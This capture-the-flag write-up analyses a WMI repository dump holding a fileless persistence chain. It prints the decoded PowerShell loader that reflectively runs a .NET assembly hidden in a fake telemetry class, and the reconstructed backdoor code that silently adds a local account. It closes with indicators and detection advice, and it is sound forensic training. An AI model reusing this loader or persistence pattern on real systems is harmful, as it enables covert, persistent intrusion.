Summary
The provided archive contains a raw dump of a Windows CIM repository - the
backing store for WMI (INDEX.BTR, MAPPING1.MAP, MAPPING2.MAP,
MAPPING3.MAP, OBJECTS.DATA, normally found at
C:\Windows\System32\wbem\Repository\). Buried inside OBJECTS.DATA is a
three-stage fileless persistence chain: a CommandLineEventConsumer (classic
WMI persistence) launches PowerShell, which pulls a second-stage payload out
of a custom, disguised WMI class property, decompresses it into a .NET
assembly, and loads it entirely in memory. That assembly is a machine-name
gated backdoor account creator - its net user /add command line contains
the flag, base64-encoded as the account password.
CommandLineEventConsumer (WMI persistence)
|
v
powershell.exe -enc <base64> (stage 1 script)
|
v
reads ROOT\cimv2:Win32_HardwareTelemetry.ConfigData (disguised as telemetry)
|
v
base64-decode -> raw DEFLATE decompress -> in-memory .NET assembly (stage 2)
|
v
Assembly.Load(...).EntryPoint.Invoke() - runs entirely in the PowerShell process
|
v
checks Environment.MachineName == "bytelotusdc"
|
v
cmd.exe /c net user patch <base64> /add
|
v
base64 decodes to the flag
Identifying the Artifact
The archive extracts to five files with no extension hints, so the first
step was figuring out what they actually are:
unzip attachments.zip
ls -la
INDEX.BTR
MAPPING1.MAP
MAPPING2.MAP
MAPPING3.MAP
OBJECTS.DATA
file reported all five as generic data - no magic bytes to go on
directly. The filenames themselves are the giveaway, though: INDEX.BTR,
MAPPING<n>.MAP, and OBJECTS.DATA is the exact file layout Windows uses
for its WMI object repository (the "CIM repository"). Three rotating
MAPPING*.MAP files (a common pattern for crash-consistent writes - two or
three generations of the same mapping table so a crash mid-write doesn't
corrupt the whole database) all but confirmed it, and a quick string scan
sealed it:
strings -e l -n 4 OBJECTS.DATA | grep -iE "EventFilter|EventConsumer|CIM_|__Win32Provider"
CIM_UserDevice
ActiveScriptEventConsumer
CommandLineEventConsumer
__EventFilter
__FilterToConsumerBinding
These are stock WMI schema class names (__EventFilter,
__FilterToConsumerBinding, and the built-in event consumer classes) - this
is a genuine CIM repository, most likely lifted from root\subscription /
root\default on a compromised or lab Windows host.
Ruling Out the Easy Path
The obvious first move - grep the raw bytes for the flag format directly -
came up empty:
import glob
targets = [b'THM{', 'T\x00H\x00M\x00{\x00'.encode('latin1')]
for fn in glob.glob('*'):
data = open(fn, 'rb').read()
for t in targets:
if t in data:
print(fn, "hit")
No hits in either ASCII or UTF-16LE, in any of the five files. A broader
case-insensitive sweep for flag, thm, ctf did return hits - but every
single one turned out to be a false positive from legitimate WMI schema text
(algorithm, CIM_ProductFRU, PredictFailure, and similar stock property
descriptions). This is an unmodified, stock CIM schema on the surface - the
interesting content had to be hidden inside an actual instance, not the
schema itself.
Finding the Persistence Mechanism
Rather than trying to fully reverse-engineer the CIM object-store binary
format (a real undertaking - Mandiant's flare-wmi/python-cim project
exists specifically because this format is nontrivial and undocumented by
Microsoft), a targeted search for known WMI-abuse indicators was much faster
and got a hit immediately:
import re
data = open('OBJECTS.DATA', 'rb').read()
for kw in [b'powershell', b'-enc', b'IEX', b'FromBase64String', b'cmd.exe']:
idxs = [m.start() for m in re.finditer(re.escape(kw), data)]
if idxs:
print(kw, len(idxs), idxs[:5])
b'powershell' 6 [1308878, 10254542, 18188606, 18421999, 22173902]
b'-enc' 4 [1308918, 10254582, 22173942, 22477046]
Pulling the context around one of the -enc hits landed directly on the
persistence object:
...CommandLineEventConsumer\x00\x00cmd /C powershell.exe -Sta -Nop -Window Hidden -enc JABmAGkAbABlACAAPQAg...
A CommandLineEventConsumer is one of the two classic WMI event-consumer
types abused for fileless persistence (the other being
ActiveScriptEventConsumer) - paired with a __EventFilter and a
__FilterToConsumerBinding, it lets an attacker run an arbitrary command
line every time a WMI event fires (logon, a timer interval, process
creation, etc.), with no file ever touching disk for the initial trigger.
The same object appeared four times at different offsets in the file -
consistent with the CIM repository's own internal versioning (older
generations of the same object surviving in unallocated/log regions), which
is itself a normal and expected artifact of how the repository is written.
Decoding Stage 1 (PowerShell)
-enc payloads in PowerShell are always base64-encoded UTF-16LE - decoded
directly:
import base64
b64 = b"JABmAGkAbABlACAAPQAg..." # full string extracted from OBJECTS.DATA
decoded = base64.b64decode(b64 + b'=' * (-len(b64) % 4))
print(decoded.decode('utf-16le'))
$file = ([WmiClass]'ROOT\cimv2:Win32_HardwareTelemetry').Properties['ConfigData'].Value;
$o = New-Object IO.MemoryStream;
$d = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($file),[IO.Compression.CompressionMode]::Decompress);
$b = New-Object Byte[](1024);
$r = $d.Read($b,0,1024);
while($r -gt 0){
$o.Write($b,0,$r);
$r = $d.Read($b,0,1024);
}
[Reflection.Assembly]::Load($o.ToArray()).EntryPoint.Invoke($null,@(,[string[]]@()))|Out-Null
This script doesn't do anything malicious by itself - its entire job is to
read a second payload out of a disguised WMI class property
(Win32_HardwareTelemetry.ConfigData - a plausible-sounding but entirely
custom class, not a real Windows telemetry class), base64-decode it, run it
through a raw DEFLATE decompressor, and load the result directly into memory
as a .NET assembly via reflection - then invoke its entry point. No second
file ever touches disk; the whole second stage lives only inside the
PowerShell process's memory.
Extracting Stage 2 (the .NET assembly)
Located and extracted the Win32_HardwareTelemetry.ConfigData string value
from OBJECTS.DATA (found via the same class/property name pair, immediately
following a string\x00\x00 type marker in the object's property table):
import re, base64, zlib
data = open('OBJECTS.DATA', 'rb').read()
idx = data.find(b'Win32_HardwareTelemetry')
marker = b'string\x00\x00'
pos = data.find(marker, idx)
start = pos + len(marker)
end = data.find(b'\x00', start)
b64 = data[start:end]
compressed = base64.b64decode(b64 + b'=' * (-len(b64) % 4))
decompressed = zlib.decompress(compressed, -15) # raw DEFLATE, no zlib header
open('payload.exe', 'wb').write(decompressed)
file payload.exe
payload.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections
A genuine 4 KB .NET assembly dropped straight out of a WMI property value -
this confirms the entire chain was a working fileless persistence /
logic-bomb setup, not just a red herring.
Reversing the Payload
ASCII strings gave the .NET metadata (type names, method names) but not the
runtime string literals, which .NET stores separately in the User String
(#US) heap as UTF-16:
strings -n 4 payload.exe
<Module>
updates.exe
Program
AfterHours
Environment
get_MachineName
ProcessStartInfo
set_FileName
set_Arguments
Console
WriteLine
This much confirms the shape of the logic: read the machine name, compare
it, and conditionally start a process. The actual comparison value and the
command line only showed up in the UTF-16 string scan:
strings -e l -n 4 payload.exe
bytelotusdc
cmd.exe
/c net user patch <REDACTED_B64> /add
Execution halted: Environment mismatch.
Putting the decompiled logic back together:
if (Environment.MachineName.Equals("bytelotusdc")) {
var psi = new ProcessStartInfo {
FileName = "cmd.exe",
Arguments = "/c net user patch <REDACTED_B64> /add",
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true
};
Process.Start(psi);
} else {
Console.WriteLine("Execution halted: Environment mismatch.");
}
This is a machine-name-gated backdoor: on a host named exactly
bytelotusdc (almost certainly the domain controller in the "Byte Lotus"
environment this repository was pulled from), it silently creates a local
account named patch with a base64-encoded password - and does nothing
observable at all on any other host, which is what kept it from surfacing in
the earlier broad string searches for flag/thm/ctf.
Decoding the Flag
import base64
print(base64.b64decode('<REDACTED_B64>').decode())
THM{REDACTED}
The backdoor's password is the flag, base64-encoded - a fitting final step
for a challenge built entirely around obfuscation layered on top of
obfuscation.
Key Findings
| # | Layer | Technique | Purpose |
|---|---|---|---|
| 1 | WMI persistence |
CommandLineEventConsumer running powershell.exe -enc ...
|
Execution trigger, no file dropped for stage 1 |
| 2 | Stage 1 (PowerShell) | Reads a custom WMI class property (Win32_HardwareTelemetry.ConfigData), base64 + raw-DEFLATE decodes it |
Retrieves stage 2 from a disguised, fileless storage location |
| 3 | Stage 2 (.NET assembly) | Loaded and invoked entirely via Reflection.Assembly.Load(...) in memory |
Runs the actual payload logic with no second file on disk |
| 4 | Payload logic |
Environment.MachineName equality check |
Limits execution to a specific named host, evading generic detection/sandboxes |
| 5 | Payload action | net user patch <base64> /add |
Creates a hidden local backdoor account; password doubles as the flag |
Indicators of Compromise
- WMI class
Win32_HardwareTelemetrywith a string propertyConfigData- not a real Windows/CIM class, and any class holding a large base64 blob in an otherwise plausible-sounding property is worth treating as suspicious. -
CommandLineEventConsumerinvokingpowershell.exewith-encand referencing[WmiClass]/.Properties[...]in the decoded command - a strong signal of WMI-as-storage abuse, not just WMI-as-trigger. - Local account named
patchcreated outside of normal patch-management tooling, on a host matching the hardcodedbytelotusdcmachine name check. -
net user ... /addlaunched as a child ofcmd.exe, itself a child ofpowershell.exe, itself triggered byWmiPrvSE.exe/scrcons.exerather than an interactive logon - the expected process lineage for WMI event consumer execution.
Detection & Mitigation Recommendations
- Monitor and alert on
__EventFilter,__EventConsumer, and__FilterToConsumerBindinginstance creation inroot\subscription(androot\defaulton older systems) - legitimate use of WMI event subscriptions outside of known management tooling (SCCM, monitoring agents) is rare. - Treat any custom, non-Microsoft WMI class as suspicious if it stores large string/blob properties - this is a known technique for fileless payload storage precisely because the CIM repository is rarely inspected and persists across reboots.
- Enable and review PowerShell Script Block Logging (Event ID 4104) - it captures the decoded content of
-encpayloads, which would have surfaced this entire chain immediately without manual base64/DEFLATE work. - Alert on
Reflection.Assembly.Load/.EntryPoint.Invokepatterns in captured script blocks - reflective, in-memory .NET assembly loading from PowerShell is a strong red flag with very few legitimate use cases. - Baseline and alert on local account creation (
net user /add,New-LocalUser) outside of change-managed windows, especially when the parent process chain traces back throughWmiPrvSE.exe.
Attack Chain
[CIM repository dump: INDEX.BTR + MAPPING1-3.MAP + OBJECTS.DATA]
|
v
[identified as C:\Windows\System32\wbem\Repository via filenames + schema strings]
|
v
[direct "THM{" / "flag" / "ctf" string search - all false positives, stock WMI schema]
|
v
[targeted search for -enc / powershell / IEX -> hits CommandLineEventConsumer]
|
v
[CommandLineEventConsumer runs: cmd /C powershell.exe -enc <base64>]
|
v
[stage 1 decoded: reads ROOT\cimv2:Win32_HardwareTelemetry.ConfigData]
|
v
[ConfigData located in OBJECTS.DATA -> base64-decoded -> raw DEFLATE decompressed]
|
v
[stage 2 recovered: 4KB .NET assembly (payload.exe), loaded via Reflection.Assembly.Load]
|
v
[reversed: checks Environment.MachineName == "bytelotusdc"]
|
v
[if matched: cmd.exe /c net user patch <base64> /add]
|
v
[base64 password decoded -> flag]
Top comments (0)